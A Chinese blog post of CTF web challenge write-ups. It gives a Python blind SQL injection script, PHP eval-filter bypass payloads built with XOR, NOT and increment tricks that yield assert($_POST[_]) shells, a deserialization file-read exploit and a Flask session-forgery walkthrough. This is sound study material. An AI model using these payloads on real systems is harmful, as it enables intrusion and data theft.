实在不知道干点什么了,正好之前抽到NSS的vip,刷刷题,学习学习。

[CISCN 2019华北Day2]Web1(盲注)

陈年老题了,打开就提醒我们注入,把表和列名都说了。那么我们尝试一下就会发现可以进行异或注入并且过滤了空格。我们可以使用%0a或者括号来绕过,之后就是布尔盲注了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = "http://node4.anna.nssctf.cn:28454/index.php"
payload = {"id":""}
flag = ""
for i in range(1, 150):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) >> 1
while low < high:
payload["id"] = "id=1^(ascii(substr((select(flag)from(flag)),{},1))>{})^1".format(i, mid)
r = requests.post(url, data=payload)
time.sleep(0.05)
if 'Hello' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) >> 1
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

很奇怪明明在hackbar上可以使用%0a来绕过但是在python上就不可以了

[CISCN 2019初赛]Love Math(利用数学函数进行构造)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

看到代码我们回发现我们输入的字母只能是特定的数学函数。那么这道题目的目的就是要利用数学函数来转换10进制字符成字母。这时候我们可以讲10进制转换成36进制。36进制包含了所有的英文字母。我们可以使用base_convert来将10进制变成想要的字符
我们使用下面这个网站来进行进制转换

1
https://tool.ip138.com/hexconvert/

我们有几种思路,1是直接转换出system(‘cat /flag’)这样的2.是经过逃逸。

构建system(getallheaders(){1})

正常原本应该使用system(getallheaders()[1])但是因为[被过滤了导致我们只能使用{}来代替。其1代表标头名称。构建方法是构建字符串system加上()再构建getallheaders加上(){1}
最后摆标头传入命令执行的指令

1
c=base_convert(1751504350,10,36)(base_convert(8768397090111664438,10,30)(){1})

这里构建getallheaders需要使用30进制因为36进制的进行转换后字符会发生改变。base_convert(1751504350,10,36)构建system(base_convert(8768397090111664438,10,30)(){1})构建(getallheaders()[1])括号可以直接加,再php中字符直接加括号会被直接认为函数进行调用。

构建_GET进行逃逸

我们可以使用hex2bin来进行构建_GET(因为我们构造的字符串$_GET{1}只是字符串,不会被当成全局变量,所有我们要构造_GET将_GET传到一个变量中再进行变量覆盖),hex2bin需要使用base_convert来进行构造。base_convert(37907361743,10,36)()代表函数hex2bin()我们再括号里再对10进制字符进行转换为16进制字符_GET。payload如下

1
c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{0}($$abs{1})&0=system&1=cat /flag

注意变量名要为数学函数

[CISCN 2023 华北]ez_date(date函数返回原参数)

难度并不是特别高,这一题唯一的盲点就是如何使date()返回值为原值。因为是刷题我就直接看了wp发现当date()接受有的参数经过了\的转义如下\f\l\a\g把传入flag的每个值都经过转义时,date()的返回值就是原值flag。
好了知识前提结束,上源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

我们先分析一下这个正则匹配我们会发现其只匹配空白字符如空格等,那么对我们来说这个替换函数可以说是形同虚设了。
我们的目的是要将$data设为php伪协议来进行文件读取。
我们首先要绕过
1
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

可以看到其先进行a和b的强相等比较。再继续md5值和sha1值继续比较。我们可以直接使用数字1和字符1来通过强相等,又因为加密的都是1则其可以通过
绕过就是构造file为伪协议,并且通过\转义来通过date()函数.
exp
1
2
3
4
5
6
7
8
9
10
<?php
class date
{
public $a=1;
public $b='1';
public $file='\p\h\p\:\/\/\f\i\l\t\e\r\/\c\o\n\v\e\r\t\.\b\a\s\e\6\4\-\e\n\c\o\d\e\/\r\e\s\o\u\r\c\e\=/\f\l\a\g';

}
$a=new date();
echo base64_encode(serialize($a));

我尝试了一下无法使用php://input;来进行命令执行。所以只好使用filter来猜测和找文件位置和名字了。

[SWPUCTF 2021 新生赛]hardrce(取反绕过)

P神博客

解题

这道题目我们需要用到取反绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

我们查看源码会发现其将字母和和一些特殊字符给过滤了,这就导致我们无法使用异或来进行拼接字符绕过。这时候我们尝试使用取反绕过

取反绕过的概念

首先php中有的符合~为取反,即二进制中的取反,我们可以将我们想要构造的字符进行取反,而取反的结果一般不是正常的字母和特殊字符。这就导致我们可以绕过waf。
如下

1
2
3
4
5
6
7
<?php
$a='phpinfo';
$b=urlencode(~($a));
echo $b;
?>
-----------
%8F%97%8F%96%91%99%90

我们可以看道我们对字符进行取反后再进行urlencode这是为了正常传参。
当我们传参道eval函数里时可以如下方法进行传参
1
?c=(~%8F%97%8F%96%91%99%90)()

(~%8F%97%8F%96%91%99%90)构造为phpinfo再直接拼接()就成了phpinfo()会被直接执行。
那么这题的题解就一目了然了
1
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[HUBUCTF 2022 新生赛]HowToGetShell

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);

这道题目可以说是比较简单的,但是三种绕过都可以实现所以拿来学习是非常好的。
首先是异或绕过
我们可以通过特殊字符的异或来构造我们想要的字符。我们这里直接贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

$shell = "_";
$result1 = "";
$result2 = "";
for ($num = 0; $num <= strlen($shell); $num++) {
for ($x = 33; $x <= 126; $x++) {
if (judge(chr($x))) {
for ($y = 33; $y <= 126; $y++) {
if (judge(chr($y))) {
$f = chr($x) ^ chr($y);
if ($f == $shell[$num]) {
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if (!preg_match('/[a-z0-9]/is', $c)) {
return true;
}
return false;
}

这个脚本的原理也很简单,就是将想要的字符串一个个转为ascii码再进行遍历异或,最终输出可以异或出来的特殊字符。
思路我们要构造如下assert($_POST[_]);来进行逃逸注意:7.0版本的需要构造$_POST进行逃逸
构造思路如下
1
2
3
4
5
6
7
8
$_="!((%)("^"@[[@[\\";#$_=asser
$__="!+/(("^"~{`{|";#$__=_POST
$___=$$__;#$___=$_POST
$_($___[_]);#assert($_POST[_]);
//拼接起来
$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___[_]);
//最终需要url编码
?code=%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B

比较奇怪的是这个逃逸无法执行命令system(‘ls’);只能执行phpinfo();flag在phpinfo里
下面是第二中构造方法是一个一个字符构造再拼接
1
?code=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=phpinfo();

取反绕过

这题因为其版本为5.多的原因不能和上题7.多用一样直接构造,要预先先传到变量里再构造成函数

1
2
构造phpinfo()
?code=$_(~%8F%97%8F%96%91%99%90);$_();

不知道为什么我的hackbar不能传只能使用bp来传值。
1
2
3
4
5
6
7
8
9
构造逃逸
同样构造assert($_POST[_]);
过程和上面的相似就是构造字符的方法变成了取反
$_=(~%9E%8C%8C%9A%8D%8B);#$_=assert;
$__=(~%A0%AF%B0%AC%AB);#$__=_POST;
$___=$$__;
$_($___[_]);
-------------------------------------------------
$_=(~%9E%8C%8C%9A%8D%8B);$__=(~%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);&_=phpinfo()

自增绕过

这里直接上p神文章无字母数字绕过

1
2
3
4
5
<?php
$a='A';
$a++;
echo $a;
?>

这里输出值为B也就是说我们可以通过对字符的自增来获取其他字符
即我们得到A就可以通过这个方法得到A-Z和a-z.
那么我们应该怎么得到A呢?
p牛文章有指出当我们强制将字符串和数组拼接在以前时数组会变成Array.
1
2
3
4
5
6
7
8
9
10
<?php
$a='';
$b=array('a');
echo $a.$b;
echo "\n";
echo [].'';
?>
---------------------------输出
Array
Array

发现只要我们将空字符和数组拼接就能得到Array,即使只有[]和’’也可以
在强制将数组转化为字符串也会变成Array.即$_=[];$_="$_"``$_===Array.
在经过精细的构造就会变成如下payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

这就能构造出ASSERT($_POST[_]);

[CISCN 2019华东南]Web4

这题我们打开,他会让我们点击什么。发现有url参数。一开始我以为是ssrf。扫了一下目录发现没有扫到什么。只扫到console。这时候就应该想到目录穿越才对的。但是我没进行尝试,就直接看来wp,发现是目录穿越。于是就用/proc/self/cmdline查看了一下进程其源码。
/usr/local/bin/python/app/app.py我们查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 # encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)


我们可以看到其存在flag.txt.只要我们的session的username为fuck,就可以读取/flag。这里就可以进行session伪造了。我们来找一下key
会发现这段代码
1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

这也算新知识了记下来。其random.seed为设置随机数种子,伪随机设置了种子每个种子生成的随机数相同。getnode()函数获得mac网卡地址。得到的是16进制数组即没有:。
那么我们就可以使用/sys/class/net/eth0/address来得到mac地址。
注意题目的python版本为2.7.16

所以我们要使用网上的在线编译器来编译这个代码
alt text
得到key为60.455500014

1
2
3
4
5
python flask_session_cookie_manager3.py decode -s "60.455500014" -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zfw0fg.C03PLKYSlBxllEx1QOk4057mB4U"
----------------------------------------------------------------------------------------------------------------------
python flask_session_cookie_manager3.py encode -s "60.455500014" -t "{'username':b'fuck'}"
---------------------------------------------------------------------------------------------------------------------------------------
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Zfw2uA.DJbCXsbUay8NpJFBUkEbIBaQxSE


得到flag,一开始我以为是计算PIN来进行rce的但是这么也算不出来。可以这个方法可以但是我找不到脚本,悲